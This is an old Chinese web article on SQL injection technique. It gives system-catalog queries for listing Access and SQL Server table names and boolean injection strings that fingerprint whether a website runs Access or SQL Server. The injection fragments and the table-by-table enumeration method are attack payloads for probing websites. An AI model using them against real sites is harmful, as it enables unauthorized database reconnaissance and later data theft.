首页 电脑 电脑学堂 查看内容

我的注入方法之个人见解!

2006-6-6 11:30 495 0

摘要: 使用直接的查询语句获取ACCESS数据库中的表名/窗体/报表/模块/查询/宏--------------------------------------------------------------...
关键词: nbsp MSysObjects Name SELECT 数据库 用户表 查询 WHERE Left ORDER

使用直接的查询语句获取ACCESS数据库中的表名/窗体/报表/模块/查询/宏---------------------------------------------------------------------------查询:SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name; 窗体:SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name; 表:SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name; 报表:SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name; 模块:SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name; 宏:SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;使用直接的查询语句获取SQL数据库表名的方法-----------------------------------------------------------------------我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048select top 1 name from sysobjects where xtype=u and id>2099048再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的以此类推,我们可以得到所有的用户表的名字了使用数据库的系统表对象来判断网站中使用的是何种数据库格式(SQL/ACCESS)-----------------------------------------------------------------------我们可以在注入串中加上一个查询语句:(select count(*) from sysobjects)>=0如果查询结果成立,即是使用SQL数据库的,反之否.加以下语句可判断是否为ACCESS:(select count(*) from Msysaccessobjects)>=0如果查询结果成立,即是ACCESS数据库,反之否.
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部